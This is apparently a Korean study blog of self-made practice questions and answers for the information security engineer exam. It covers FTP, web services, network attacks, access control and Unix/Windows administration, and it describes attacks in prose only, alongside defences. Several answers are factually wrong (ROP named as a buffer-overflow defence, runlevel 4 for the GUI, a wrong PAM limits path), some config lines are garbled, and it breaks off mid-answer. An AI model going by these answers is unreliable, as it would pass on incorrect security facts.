2013/12/08

정보보안 기사 준비 #3 (Application)

1. 인터넷에서 컴퓨터 간의 파일을 교환하기 위한 표준 프로토콜로는 (   A   )가 있다.  이 (  A  ) 모드에는 (  B   ) 모드와 (  C  ) 모드가 있는데,  (  B  ) 모드는 데이터 연결을 할 시 서버에서 데이터 포트를 지정하며, (   C   ) 모드는 데이터 연결을 할 시 클라이언트에서 데이터 포트를 지정한다. (  B  ) 모드의 경우 서버에서 지정하는 포트는 (  D  ) 이며, (  C  )모드의 경우 클라이언트에서 지정하는 포트는 (  E  ) 이고, 이 때 서버에 접속되는 포트는  (  F  ) 이다.



2. FTP 서버로부터 자료를 정상적으로 받지 못해 전문가에게 도움을 요청하였더니, Stateful Inspecion 방화벽 설치를 추천하였고, 그 이후 서비스가 가능하게 되었다.
1) FTP의 진행절차 중 어느 단계까지 수행이 되다가 막혔으며, 이유가 무엇인가? (Active mode)
 2) Stateful Inspection Firewall을 이용한 경우 정상화가 된 이유는 무엇인가?
 3) Passive mode인 경우는 어떻게 되는가?




3. 소프트웨어의 정적 분석에 주로 이용되는 소프트웨어 보안약점 진단가이드상에 기재되어 있는 소프트웨어 보안 약점의 7가지 분류에 대해 적고, 각각에 대해 자세히 서술하시오.



4. OWASP TOP10에 해당하는 보안 취약점 10가지에 대해 적고 각각에 대해 설명하시오.



5. 은행을 대리해 서버가 있는 곳, 또는 사용자 ID와 패스워드를 사용하는 것보다 좀 더 안전한 사용자로부터 인증이 필요한 상황에서 보다 많이 사용하며, 웹 보안에 적용되는 프로토콜로, 웹에서만 적용이 되며 서버와 클라이언트 각각 인증서가 필요하고, 메시지 단위로 암호화를 하는 보안 프로토콜은 무엇인가?



6. 웹 서비스 구조로는 ( A ), ( B ), ( C ) 라고 하는 3가지 XML 기반의 공개 표준을 바탕으로 하고 있다.

( A )는 XML과 HTTP들을 기본으로 한 컴퓨터에 있는 데이터나 서비스를 호출하기 위한 프로토콜로, 서비스 매니저, 전개된 서비스 리스트, XML Translator라는 3개의 엔티티가 있다.

( B )는 당 서비스에 대한 상세한 설명이 포함되어 있는 서비스 기술서로, 서비스 공급자가 기반 프로토콜이나 인코딩과는 무관하게 기본 요청 포맷을 시스템에 제공할 수 있는 간단한 방식이다.

( C )는 IBM, Ariva, MS에 의해 설립되었으며, 웹 서비스를 등록하고 검색할 수 있는 일정의 레지스트리와 관련된 표준으로, 네트워크 전송 레이어와 ( A ) 기반 XML 메시지 전송 레이어 상에서 구현된다.



7. 데이터 구조도가 트리 형태로 이루어져 있으며, 부모 자식 관계가 1:n 관계이며, 높은 데이터 처리의 효율성, 신축성 및 유연성 부족, 데이터 중복성의 특징이 있는 것은 어떤 데이터 모델인가?



8. 지정된 메모리의 양보다 더 많은 양의 데이터를 입력할 때 발생하는 것으로, 스택에서 리턴 어드레스를 수정하여 프로세스 흐름을 조정하도록 하는 공격 방법은 무엇인가?





정보보안기사 준비 - 예상문제 #2 (Security)

아래 문제는 정보보안기사 실기시험을 준비하면서 제가 임의로 만든 예상문제 입니다.


1. icmp를 이용한 공격 방법 및 이에 대한 대응방안에 대해 아는대로 기술하시오.


2. 3DES의 암호화 및 복호화 방식에 대해 설명하시오.


3. ARP 스푸핑 공격이라는 것이 무엇이며, 어떻게 공격을 하는지 아래의 사항을 가정하여 설명하고,  ARP 스푸핑을 막기 위한 방안을 서술하시오.
   Alice (192.168.1.1, MAC주소 : A)
   Bob (192.168.1.2, MAC 주소 : B)
   Cracker (192.168.1.3, MAC주소 :C)


4. 바이러스, 웜, 트로이 목마, 스파이웨어, 랜섬웨어, 누킹 소프트웨어, 다운로더, 드라퍼에 대해 설명하시오.


5. 다음 포렌직 절차 빈칸에 적절한 단어를 넣으시오.


 준비 --> (   A    ) --> (   B   ) --> (   C   ) --> 조사/보고서


6 IDS(시스템 침입탐지 시스템)의 탐지 방법에 따른 2가지 분류를 적고, 각각에 대해 설명하시오.


7. 버퍼 오버플로우 공격이 무엇인지 간략히 서술하고, 이를 막기 위한 방법에 대해 아는대로 서술하시오.


8. Format String 해킹 공격에 대해 설명하시오.


9. 유닉스 내에서 실행되는 프로세스 중 임시 파일을 생성하는 프로그램에서 자주 사용하는 것으로, 임시 파일을 만들어 쓰고 끝났으면 지우는 과정에서 쓰기 바로 직전의 경쟁조건을 이용하여 원하는 파일에 원하는 내용을 집어 넣는 방식의 해킹 기법을 무엇이라고 하는가? 이 공격을 막기 위핸 대응방안을 서술하시오.


10. DoS 공격에 대한 대응으로 리눅스 서버에 PAM을 이용한 리소스 제한을 하는 방법


11. IPSec의 보안 기능(기밀성, 무결성, 인증, 재전송 차단)에 대해 프로토콜 구조와 함께 설명하시오.


12. 스니핑이 가능한 방법을 열거하고 설명하시오.


13. 생일역설이론에 의하면 (     ) 비트 이상인 해쉬함수가 안전하다.


14. PKI의 구성요소 4가지를 적으시오.


15. 일반적인 접근통제모델 중 참조모니터(Reference Monitor)에서 사용되는 3가지 모델은 다음과 같다.
(   A    )는 주체의 레이블과 주체가 접근하고자 하는 개체의 보안 레이블을 비교하여 보안 정책에 합당한 접근통제 규칙에 의해 접근을 통제하는 방법으로, 모든 주체 및 객체에 대하여 일정하며 어느 하나의 주체/객체 단위로 접근제한을 설정할 수 없다.
    (     B    )는 주체나 그들이 소속되어 있는 그룹들의 ID(신분)에 근거하여 객체에 대한 접근을 제한하는 접근통제 방식이다. 모든 주체 및 객체에 대해 일정하지 않고 어느 하나의 주체/객체 단위로 접근제어 설정을 할 수 있다. 트로이목마 공격에 취약하다.
    (     C    )는 직무를 기반으로 하는 접근통제방식으로, 권한을 사용자에게 직접 부여하지 않고 그룹에 부여하고, 사용자를 그룹별로 구분하여 그 그룹이 수행하여야 하는 역할에 따른 접근제어 설정을 하는 방식이다.


16. Syn Flooding 공격에 대한 방어 대책에 대해 간략히 서술하시오.


17. 7.7 DDoS의 공격 방식에 대해 간략히 서술하시오.


18. HTTP Get Flooding 공격에 대한 대응방안을 서술하시오.


19. R.U.D.Y 공격과 Slowloris 공격 및 방어 방법에 대해 설명하시오.


20. TCP-Wrapper의 원리와 사용 방법에 대해 설명하시오.


21. 악성코드 유포지에 대한 접속을 막는 방법의 하나로, 해당 악성사이트의 DNS에 대해 악성 아이피가 아닌 안전한 내부 아이피를 return 하는 방식의 악성 사이트 접속 차단 서비스를 제공하는 KISA 서버 이름은?




답--------------------------------------------------------------------------
1.
(1) ping of death
 : ICMP 패킷의 크기를 정상적인 크기보다 아주 크게 만들어 Fragmented Packet과 비정상적인  OOB(Out of Band)를 함께 대량으로 전송하여 시스템 자원을 소모 시키는 공격이다.
대응방안으로는 필요하지 않은 경우 ICMP를 막고, 필요한 경우 반복적으로 들어오는 일정 수 이상의 ICMP  패킷은 무시하도록 설정을 한다.(rate-limit를 이용) 최근 OS에는 이와 같은 사항은 모두 패치되어 있다.
(2) Smurf
  : 공격자의 Source IP를 피해자의 IP로 위조하여 특정 네트워크의 브로드캐스트 주소로 ICMP echo request를 날리는 공격이다. 이 경우 네트워크에 속하는 모든 컴퓨터들이 위조된 피해자 IP로 ICMP echo reply를 보내도록 하여 네트워크 대역폭을 소모시킨다.
대응방안으로는 네트워크 장비에서 브로드캐스트 주소로 ICMP를 보내지 못하도록 설정하거나 위조된 아이피를 가지고 들어오지 못하도록 내부 네트워크 대역이 아닌 IP가 src가 되지 못하도록 패킷을 필터링한다.
(3) Land Attack
  : src ip를 피해자의 ip로 위조하고, src ip와 dst ip를 동일하게 설정하여 패킷을 보내는 것으로, 피해 시스템에서 looping을 돌게 하여 시스템 자원을 소모시키는 공격이다.
 대응방안으로는  src ip와 dst ip가 동일한 패킷은 차단하도록 방화벽이나 라우터, 스위치 등에서 접근제어 설정한다.


2.
암호화는 C= Ek1(Dk2(Ek3(P))), 복호화는 이 반대인 P=DK3(Ek2(DK1(C)))로 이루어진다.
이때 K1을 K3와 같게 사용하기도 한다.

                           with K1               with K2                with K3
Plaintext P ---> 암호화(   )  ----> 복호화 (  ) ----> 암호화 (    ) --> Encrypted msg C


3. ARP 스푸핑은 같은 네트워크에 존재하여 ARP 패킷을 받을 수 있는 환경에서만 가능하다.  (HUB 등으로 연결된 경우는 가능하지만, Switch로 연결되면 불가능함. 이유는 브로드캐스트 주소로 요청하고 응답하기 때문.) 즉, 공격자 Cracker는 Alice와 Bob의 ARP request들을 보고 있다가, 자신의 MAC주소를 Alice와 Bob의 아이피에 맞는 MAC주소라고 위변조한 ARP Reply를 보내서 ARP Table을 변조한다. 이렇게 하면, Cracker는 Alice나 Bob에게 가려는 데이터 패킷을 중간에서 가로채 스니핑할 수 있게 된다.
 ARP스푸핑의 탐지방법은 arp -a 등의 명령어로 arp 테이블을 확인하여 동일한 아이피인데 MAC 주소가 여러개이거나, 같은 MAC주소가 여러개 아이피에 설정되어 있는지 확인하면 된다.
ARP 스푸핑에 대한 대처방법으로는 스위치 등 네트워크 장비에서 port security를 걸거나, ARP inspection을 설정하여 MAC 변조를 막거나, VLAN등을 나눠서 관리하도록 하며, 같은 네트워크에서만 공격이 성공하므로 외부에서 내부 네트워크로의 침투를 막고, 중요한 서버의 ARP 테이블은 static하게 정해 놓을 수 있다. (예. arp -s 192.168.1.1 A)


4.
바이러스 - 자신 또는 자신의 변형코드를 실행하는 프로그램으로, 숙주가 반드시 필요하다.
웜 - 네트워크나 전자메일을 통해 전송되며, 자기 증식이 가능하다.
트로이 목마 - 바이러스나 웜과 달리 자기 증식 능력이 없으며, 스스로를 유틸리티로 위장하여 배포되어 피해자 모르게 원격 제어, 정보 유출, 시스템 파괴 등의 통로로 쓰인다.
스파이웨어 - 사용자가 동의 없이 설치되어 컴퓨터 정보를 수집하고 전송하는 프로그램이나 트로이 목마와 같이 은폐성을 띄지 않는다.
랜섬웨어 - 내부 중요 문서 등을 암호화 하고, 이를 해제해 주는 조건으로 돈을 요구하는 형태의 프로그램
누킹소프트웨어 - 레지스트리, 키, 파일시스템을 훼손하여 블루스크린을 띄우는 등의 시스템 불능상태로 만드는 프로그램.
다운로더 - 그 자체적으로 악성행위를 하지는 않지만, 악성코드를 다운로드 해 주는 역할을 하는 프로그램
드라퍼 - 악성코드 등을 피해 시스템에 떨구는 역할을 하는 프로그램.


5. A - 증거 획득, B -보관/이송, C - 분석


6. 침입탐지 시스템의 탐지 방법은 <오용 탐지>와 <이상 행위 탐지>의 두 가지로 나눌 수 다. 오용탐지는 일반적인 공격을 기반으로 한 침입 규칙을 비교하여 분석하여 침입 여부를 판단한다. 따라서 지속적인 침입 탐지규칙에 대한 업데이트가 필요하다. 이상행위탐지는 일반적인 행동을 기반으로 하여 이상 행위 여부를 판단하는 것으로, 일반적이 아닌 행동을 하는 것을 모두 이상행위로 탐지하기 때문에 false positive 확률이 높아 정확성이 떨어진다.


7. 버퍼 오버플로우란 취약한 개발을 통해 입력한 버퍼의 값이 스택이나 힙의 적절한 공간을 넘쳐 흘러 리턴되는 주소지를 공격자가 원하는 곳으로 변경시키는 방법을 통해 공격자의 쉘코드를 실행시키는 공격 방식이다.
버퍼 오버플로우를 막기 위해서는 ROP(Return Oriented Programming) 방식을 이용하여 악의적인 코드의 주입을 방해하는 방식을 주로 이용한다. 그 예로, DEP(Data Execution Protection), NX(Not Executable), ASLR(Address Space Layout Randomization), Stack Canary(Stack 내에 Canary 값을 두어 함수가 리턴되었을때의 Canary 값이 바뀌었는지 확인하는 방식) 등의 방식이 있다.


8. 프로그램 개발 시 정확한 포맷 스트링을 사용하지 않았을 경우 이를 이용하여 임의의 명령어를 수행하거나 UID를 바꿀 수 있는 공격으로, 출력문 등에서 올바르지 못한 방법을 악용하여 공격자가 실제 메모리 번지를 원하는 값으로 변경하거나 시스템 루트권한을 획득하는 방식의 공격이다. 대응책으로 SetUID 제거 등이 있다.


9. Race Condition (경쟁조건)
   1) 임시파일 생성을 가능한 막는다.
   2) symbloic link를 만드는 것을 막는다. (unlink() 불가능하게)
   3) create()와 Open()의 구분을 명확히 하여, 파일 생성/쓰기가 안되도록 한다.
   4) umask는 022 정도로 유지하여, 다른 유저의 write permission을 막는다.


10. 시스템 자원을 너무 많이 사용하는 특정 유저나 프로그램의 무한루프 방지를 위해 다음과 같이 프로세스 수, 메모리 사용량등에 대해 제한 설정을 합니다. 먼저 vi에디터를 이용하여 /etc/pam.d/login을 열어 사용자 로그인 시 적용되도록 /lib/security/pam_limits.so 및 pam_selinux.so를 넣어주고, /etc/lib/security/pam_limits/so 파일을 열어 특정 계정, 혹은 모든 유저에 대해 사용가능한 프로세스 수 제한, 동시 접속 수 제한, 사용 가능 메모리 제한 설정을 한다.

[root@test] # vi /etc/pam.d/login
#pam_selinux.so open should be the last session rule
session      required    pam_selinux.so open
session      required    /lib/security/pam_limits.so


[root@test] # vi /etc/security/pam_limits.so
*                  soft         core                0                         <-- core="" p="" x="">*                  hard         rss                  10000                   <-- 5m="" p="">@hackers     soft         nproc              20                        <- 20="" br="">
@hackers     hard        nproc              30                        <- 30="" br="">
*                  hard        maxlogins         10                        <- 10="" p="">
* : 모든 유저
@ hackers : 해당 hackers라는 그룹에 속하는 유저
hard : 절대 한계를 넘을 수 없음


11.IPSec은, 본질적으로 데이터 송신자의 인증을 허용하는 인증 헤더 (AH)와, 송신자의 인증 및 데이터 암호화를 함께 지원하는 ESP (Encapsulating Security Payload) 두 종류의 보안 서비스를 제공한다. AH는 무결성, 데이터 발신처 인증, 재전송 공격으로부터 보호하고, IP Spoofing 공격에 대해서도 방어가 된다. 하지만 AH의 Payload는 암호화 되지 않는다.

반면 ESP에서는 공유 정보를 이용하여 패킷을 암호화하여 기밀성을 보장한다.

IPSec에서의 키 관리 프로토콜은 IKE, ISAKMP 등이 있다. 통신 상호 개체간의 연결-관계를 뜻하는 SA(Security Association)에서는 SPI(AH, ESP에서 SA와의 연관을 위한 구분자), 목적지 주소, 사용할 보안 프로토콜이 중요하다.

IPSec의 운용모드는 Tunnel mode와 Transport mode가 있는데, Tunnel mode의 경우 패킷 전체를 암호화하고 앞에 새로운 header를 붙여 두 네트워크의 gateway-gateway간 연결을 해 주는 방식이며, Transport mode의 경우 IP헤더는 그대로 이용하며 데이터 부분만 암호화 하여 전송하는 방식으로 Host-Host간 연결에 주로 쓰인다.


12.
(1) switch jamming
- switch의 ARP 캐쉬 테이블을 모두 채워 switch가 아닌 hub처럼 동작하게 강제적으로 만드는 방법. ARP 캐쉬 테이블을 채우기 위해 맥주소를 변경하면서 ARP 패킷을 계속 전송하여 ARP 캐쉬 테이블을 넘치게 한다.

(2) ARP Spoofing
- 공격자의 맥 주소를 스니핑 하려는 PC의 맥 주소로 변경하여 ARP를 뿌려 스니핑을 하는 기법

(3) ARP Redirection
자신의 MAC 주소를 스위치 MAC 인것처럼 broadcast ARP 패킷을 전송하여 모든 호스트와 스위치 사이의 트래픽을 스니핑하고, 이후 IP forwarding 기능을 이용해 사용자들이 눈치채지 못하게 하는 방법

(4) ICMP Redirection
호스트들에게 위조된 ICMP Redirection 메시지를 보내 공격자의 호스트로 패킷을 보내도록 하는 방법. (ICMP Redirection 메시지는 여러개의 라우터가 있을때 정상적으로 패킷을 받기 위해 전송)

(5) 스위치 모니터 포트로 스니핑.


13. 160


14. CA(인증기관), RA (등록기관), 사용자, 디렉터리


15. MAC (강제적 접근 통제)
     DAC (임의적 접근 통제)
     RBAC (역할기반 접근 통제)


16. 백로그큐를 늘려주고, Syncookie 설정을 하고, 사설 아이피와 같은 비정상 아이피에 대해서는 사전에 방화벽에서 차단해 주고, First syn drop 방식 사용


17. HTTP Get flooding과 UDP Flooding, ICMP Flooding을 혼합한 형태의 DDoS 공격으로 웹 서버의 연결 자원 고갈과 더불어서 네트워크 대역폭 자원의 고갈을 동시에 일으킨 공격방법이다. 이중 Get flooding 공격에서 루트 페이지에 대한 get 요청을 2회 수행하면서, cache-control 필드를 no-store로 설정하여 패킷을 전송하였음.
그동안은 주로 네트워크 회선의 대역폭 고갈의 DDoS가 많았기 때문에 , L7 레벨에서의 DDoS 공격에 대해 빠른 방어가 어려웠음.


18. 먼저 공격패킷의 패턴을 추출해 내서 해당 패턴에 대한 차단을 진행해야 한다. 그리고 HTTP Get Flooding 공격은 이미 TCP 3-way-handshake가 끝난 이후이므로, src 아이피에 대한 위변조가 어려우므로, 공격에 쓰이고 있는 src 아이피를 찾아내어 방화벽에서 차단해 준다. src 아이피를 찾아내기 위한 방법으로 공격하는 페이지를 특정 페이지로 302 리다이렉션 처리 하는 경우, 웹 브라우저로 접속하는 정상 사용자의 경우 리다이렉트 된 페이지로 접속하지만, 좀비PC의 BOT 등은 임시로 이동된 페이지로 요청하지 않으므로 아이피 리스트를 비교하여 추출할 수 있다.


19. R.U.D.Y는 Are You Dead Yet?의 약자로 http post 데이터를 보낼때 content length를 엄청 크게 잡은 이후 실제 데이터를 작게 보내는 패킷을 여러개 보내, 해당 content length 만큼의 데이터를 받을때까지 대기하는 웹 서버의 자원을 고갈시키는 형태의 공격이다.
 Slowloris 공격은 malformed http header를 보내어 웹 서버의 자원을 고갈시키는 방법으로, http 헤더의 끝이 \r\n\r\n으로 끝나야 하는데, \r\n 만 있는 상태로 패킷을 보내, 서버가 남은 http 헤더를 기다리며 커넥션을 유지하여 웹 서버의 자원을 고갈시키는 방법이다.
R.U.D.Y나 Slowloris 공격의 경우 공격 패킷에 특정한 패턴이 있으므로 해당 패턴에 대한 차단 및 timeout 시간을 설정하여 무한정 기다리지 않고 연결을 종료하도록 하고, content-length에 대한 제한 설정을 하며, 특정 접속자가 동시 접속을 하는 것에 대한 임계치를 설정하거나, 웹 서버의 부하를 줄이기 위해 웹 서버 앞단에 캐슁서버를 두어서 커넥션 유지 시간을 설정해 차단하는 것도 방법이다.


20. TCP-Wrapper는 xinetd 데몬에 의해 구동되는 네트워크 서비스들에 대한 접근통제, 인증, 로깅 등을 제공하는 서비스로 /etc/hosts.allow와 /etc/hosts.deny 에 지정한 접근통제 정책에 의거해 접근통제를 제공하며, /etc/xinetd.conf에 tcpd를 통해 서비스가 되도록 내용을 수정하여야 한다. 또한 로그를 남기기 위해서는 /etc/syslog.conf에 설정을 한다.


21. DNS 싱크홀 서버





2013/12/06

정보보안기사 준비- 예상문제 #1 (OS)

아래의 문제는 정보보안기사 실기 시험 준비를 위해서 제가 임의로 낸 문제입니다.


1. 교착상태(deadlock)의 4가지 발생 조건에 대해 서술하시오.


2. UNIX의 파일 시스템에는 (   A  ), (   B  )등이 있으며, 파일시스템에 필요한 블록에는 부팅 시 필요한 코드를 저장하고 있는 (   C  ) 블록, 전체 파일 시스템에 대한 정보를 저장하고 있으며, logical volume의 4096 바이트 오프셋에 위치하며 크기가 4096바이트인 (  D   ) 블록, 각 파일이나 디렉터리에 대한 모든 정보를 저장하고 있으며, 파일 시스템 내에 있는 개개의 파일을 관리하기 위한 데이터 구조를 의미하는 (   E  )블록,  마지막으로 디렉터리 별로 디렉터리 엔트리와 실제 파일에 대한 데이터가 저장된 블록인 데이터 블록이 있다.
이 중 (  E  ) 블록에 저장되는 정보 중 (   F  )는 저장되지 않으며,  (   F   )와 (  E  ) 번호는 디렉터리 안에 저장된다.


3. Unix Run Level이란 부팅 혹은 재부팅을 할 경우 선택되는 모드로, (  A  ) 명령으로 각 레벨 별 모드를 선택할 수 있다. 이중 레벨 0은 시스템 종료 상태를 의미하며, CLI 단독 사용자 모드는 레벨 (  B  ), 네트워크가 되지 않는 다중 사용자 모드는 레벨 (  C  ), GUI 환경인 경우는 레벨 (  D  ) 이다.


4. 유닉스 시스템에서 디렉터리 및 파일이 생성되는 기본 퍼미션을 정하는데 사용하는 명령어는 (   A   )로, 시스템의 기본 설정의 (   A  )는 일반적으로  (   B  ) 이고, 퍼미션은 디렉터리일 경우 (    C    ), 파일일 경우 (      D      ) 가 된다.
개별적으로 디렉토리 및 파일의 퍼미션을 변경해주는 명령어에는 (   E   )가 있다.


5. 유닉스 시스템에서 특수 권한을 설정하는 방법에 sticky bit, SetUID, SetGID 가 있다.
위의 3가지 특수권한을  설정하는 명령어와,  find를 이용하여 특수권한을 가진 파일을 검색하는 명령어를 적으시오.


6. 유닉스 시스템에서 다음의 설정 관련 파일의 위치를 적으시오.
 (1) DNS를 사용하기 전 자체적으로 호스트 이름과 IP 주소를 정의해 놓은 파일
 (2) 네트워크의 이름과 각각의 인터넷 주소를 포함하고 있는 파일
 (3) 호스트의 이름이 들어가져 있는 파일
 (4) TCP/IP의 서비스와 그 이름을 사용하는 포트 번호, 하부 프로토콜인 전송 프로토콜의 종류가 정의되어 있는 파일
 (5) DNS 시스템과 검색 이름이 등록되어 있는 파일
 (6) 데몬 프로그램이 초기화 될 때 사용하게 될 프로세스를 정의하여 인터넷 환경을 관리할 때 쓰이는 파일
 (7) 사용자 계정에 관련된 파일로 LoginID : x : UID : GID : Comment : Home-Directory : Login-Shell의 순서로 저장된 파일
 (8) TCP Wrapper가 설치된 경우, 특정 호스트의 접속 허용 내용을 정의한 파일
 (9) 외부에서 사용자의 인증 절차 없이 접속할 수 있는 사용자를 정의한 파일


7. 윈도우즈 NTFS 파일시스템에서 (    A   )는 각 파일의 정보를 포함한 고정길이 레코드(1KB)며, NTFS가 관리하는 디스크에 있는 모든 파일과 일대일로 대응된다. 이 (   A   ) 레코드에는 다양한 속성을 담을 수 있는데, 특히 보안속성을 이용하여 파일시스템 레벨에서 접근권한을 설정할 수 있다.
과거 (   B    ) 파일시스템의 경우 구조가 간단한 반면, 보안이나 장애 발생 시 회복 기능이 없는 문제점이 있어, 이를 보완하고 기능을 확장하여 Windows NT 전용 파일시스템으로 NTFS를 개발하였다.


8. 윈도우의 모든 시스템 정보를 백업 및 복구 하기 위해서 꼭 백업해야 하는 파일은 무엇인가?


9.  윈도우에서 로컬 사용자 계정의 해쉬값은 기본적으로 각각 컴퓨터의 (  A   ) 에 저장되어 존재하며, 이 파일의 위치는 (   B   )에 있으며, 이를 통해 특정 컴퓨터에서 자원에 대한 접근권한을 얻을 수 있다. 하지만 도메인 사용자 계정은 사용자들이 도메인에 로그온 하고, 네트워크에 있는 자원들의 액세스를 획득하는 것을 가능하게 해 주는 계정으로 (   C   )에 저장되어 존재한다.


10. 유닉스 쉘 중 csh를 사용하는 경우 영향을 미치게 되는 대표적인 설정 파일을 2개 이상 적으시오.


11. 공유 라이브러리를 사용하여 응용 프로그램이 어떤 방법으로 사용자를 인증할 것인지 설정하는 것으로, Login, FTP, Telnet 등의 일반적인 서비스 인증 부분에 접근통제를 할 수 있으며, 이 데몬을 활용하여 SU 접근통제 설정도 가능하다. 이것은 무엇이며, 이것의 사용으로 얻을 수 있는 효과는 무엇인가?


12. Unix나 Linux 운영체제 프로그램 중 프로그램이 실행되는 동안 프로그램 소유자의 권한을 가지도록 지정하는 방법을 무엇이라 하는가? 또한 이것이 설정되면 파일 퍼미션 정보가 x에서 어떤 글자로 바뀌게 되는가?


13. Unix 시스템에서 sticky bit 설정이 되어 있는 디렉터리는 (   A    ) 이며, 커널 및 각 프로세스에 대한 정보들을 관리하고 있으며 디바이스 드라이버 동작 감시, 제어 흐름을 바꾸는 등 커널 동작에 필요한 매개변수를 제어할 수 있으나 일반 파일시스템과 달리 데이터를 저장하지 못하는 디렉터리는 (    B   ) 이다.


14. "파티션 섹터" 또는 "마스터 파티션 테이블"이라고 불리는 이것은 하드디스크의 첫번째 파티션을 생성할 때 만들어진다. 항상 디스크의 첫번째 섹터에 위치하며, 디스크의 파티션 테이블과 부팅에 필요한 작은 실행파일을 저장하게 된다. 앞쪽 446 바이트는 실행파일이고, 바로 뒤 64바이트가 파티션 테이블, 마지막 2바이트가 시그니처로 항상 0x55AA를 갖게되어 한 섹터가 512바이트가 되는 이것은 무엇인가?


15. 리눅스/유닉스 파일 시스템인 ext2, ext3에서, 설정파일의 경우 root라도 파일을 변경 및 삭제 할 수 없도록 하는 방법은 무엇이며, 이를 설정하려면 어떤 명령어를 이용해야 하는가?


16. 리눅스 시스템의 /etc/sysctl.conf 파일에 커널 보안을 설정하는 내용을 7가지 이상 기술하고, 그 기본값을 설명하시오.


17. Apache 서버의 httpd.conf 파일 설정의 내용과 기본 값에 대해 설명하시오.


18. 다음의 내용을 서술하시오.
(1) SetUID, SetGID, Sticky Bit 의 각각 권한 비트가 어떻게 되는지 8진수로 적으시오.
(2) rwsrwsrwt에는 어떤 권한설정이 되어 있는지 설명하시오.
(3) 위의 권한을 8진수로 나타내 보시오.  


19. 다음 로그에 대해서 아는 대로 기술하시오.
  (1) history
  (2) secure
  (3) messages
  (4) dmesg
  (5) utmp
  (6) wtmp
  (7) lastlog
  (8) xferlog
  (9) acct, pacct




답-------------------------------------------------------------------------

1. 교착상태는 둘 이상의 프로세스들이 자원을 점유한 상태에서 서로 다른 프로세스가 점유하고 있는 자원을 요구하며 무한정 기다리는 현상으로, 교착상태의 발생 조건에는 프로세스들이 각각 필요자원에 대해 배타적 통제권을 요구하는 상호 배재 상태(Mutual Exclusion), 프로세스가 다른 자원을 요구하면서, 자신에게 할당된 자원을 해제하지는 않는 점유와 대기 상태(Hold & Wait), 프로세스에 할당된 자원을 끝날 때까지 해제할 수 없는 비 중단 상태(Non Preemption), 그리고 프로세스들이 순환을 이루어서 순환 내 이전 프로세스가 요청하는 자원을 점유하고, 다음 프로세스가 점유하고 있는 자원을 요구하는 상태(Circular Wait)의 4가지가 있다.

2. A, B- ext2, ext3
C - 부팅
D - 슈퍼
E - i-Node(index-node)
F - filename

3. A - init
B - 1, C -2, D -4

4. A- umask
B -022
C -755 (drwxr-xr-x)
D -644 (-rw-r--r--)
E-chmod

5.  특수권한 설정 명령어
     sticky bit : chmod 1777 [Sticky-bit Directory]
     SetUID : chmod 4777 [SetUID-File]
     SetGID : chmod 2777 [SetGID-File]
     특수권한 설정 파일 검색 명령어
     sticky bit : find -perm 1000 -print
     setUID : find -perm 4000 -print
     setGID : find -perm 2000 -print
    모두 다 : find -perm 7000 -print
    or find \(-perm 1000 -o -perm 2000 -o -perm 4000\) -print
    or  find / -perm 4000 -o -perm 2000 -o -perm 1000 -exec ls -al {} \;

6.(1) /etc/hosts
(2) /etc/Networks
(3) /etc/hostname
(4) /etc/services
(5) /etc/resolv.conf
(6) /etc/xinetd.conf
(7) /etc/passwd
(8) /etc/hosts.allow
(9) $Home/.rhosts

7. A - MFT (Master File Table)
B - FAT

8. user.dat, system, system.ini, win.ini

9. A - SAM, B- %systemroot%\system32\config\SAM C -Active Directory

10. login, logout, profile, .cshrc

11. PAM(Pluggable Authentication Modules) 패스워드 방식.
   서비스 인증에 접근통제 설정은 물론,  특정한 사용자가 특정 시간, 특정 장소에서만 로그인할 수 있게 제한할 수도 있고, 사용자가 쓸 시스템 자원을 제한할 수 있어 Local DoS 공격을 어느정도 막을 수 있다. 또한 패스워드 암호화에 DES를 사용하지 않기 때문에 Crack이나 Brute Force 공격에도 강하다. 또한 SU 명령에 PAM을 사용하여 사용 제한을 할 수 있다. (/etc/pam.d/su )

12. SetUID, s

13. A - /tmp, B -/proc

14. MBR (Master Boot Record)

15. inode flag에 쓰기금지/삭제금지 속성으로 설정하면 된다.
     chattr +i filename (변경 및 삭제 금지 flag)

16.
(1) ping 요청에 응답하지 않도록
(2) 브로드캐스트 주소로는 ping을 하지 못하도록 (기본값 0)
(3) Syn flooding 공격에 대비해 백로그 큐 설정 값 키우기 (기본값 256)
(4) ICMP redirect 공격을 막기 위해 redirect를 끈다 (기본값 1)
(5) BAD icmp 패킷 무시 (기본값 0)
(6) IP 스푸핑 방지 (기본값 0)
(7) 연결 종료 시간을 줄인다 (기본값 60)
(8) 열 수 있는 로컬 포트 수를 늘린다 (기본값 1024 4996)
(9) Keepalive 시간을 줄인다 (기본값 7200)
(10) IP스푸핑 로그 남긴다 (기본값 0)

17.
(1) Port : http 서비스 포트 번호 지정 (80)
(2) ServerAdmin : 웹 서버 관리자의 전자우편 주소
(3) Timeout: Timeout 값 설정 (1200)
(4) PidFile : 웹 서버 시작 데몬 프로세스 번호
(5) User와 Group : 웹 서버 운영자에 대한 사용자 및 그룹 정보,
                            보안을 위해 주로 root보다는 nobody로 설정 (nobody)
(6) ServerRoot : 홈 디렉터리 설정 (/usr/local/httpd)
(7) AccessFileName : Directory별로 접근 제어할 정보를 담고 있는 파일 (.htaccess)
(8) KeepAlive : 한번 접속한 채 특별 요청이 없어도  지속 연결 허용 여부(ON --> Off)
(9) ServerSignature : 버전 정보 표시 (On --> Off)

18.
(1) 4000, 2000, 1000
(2) 모든 사용자(소유자, 그룹, other) 모두 읽고 쓰고 실행권한이 있으며,
    SetUID, SetGID, Sticky Bit가 설정되어 있다.
    SetUID가 설정되면, 실행중일 동안 소유자의 권한으로 실행이 되며,
    SetGUD가 설정되면, 실행중일 동안 그룹의 권한으로 실행이 되며,
    Sticky Bit가 설정되면, 파일 소유자, 그룹, other 모두 실행할 수 있지만, 파일 소유자, 디렉터리 소유자, root를 제외하고는 파일을 삭제할 수는 없다.
(3) 7777

19.
(1) 위치 :  $home/.history, $home/.bash_history
사용자가 입력한 명령어에 대한 기록이 남은 파일이다. acct나 pacct에도 명령어에 대한 기록이 남지만 history에서는 디렉토리 정보와 argument까지 상세한 정보가 남아 공격자의 행위 분석에 용이하다. 백도어 설치 등에 대한 확인을 위해서는 root의 홈 디렉토리 내의 history 파일을 확인하는 것이 좋다.

(2) 위치 : /var/log/secure
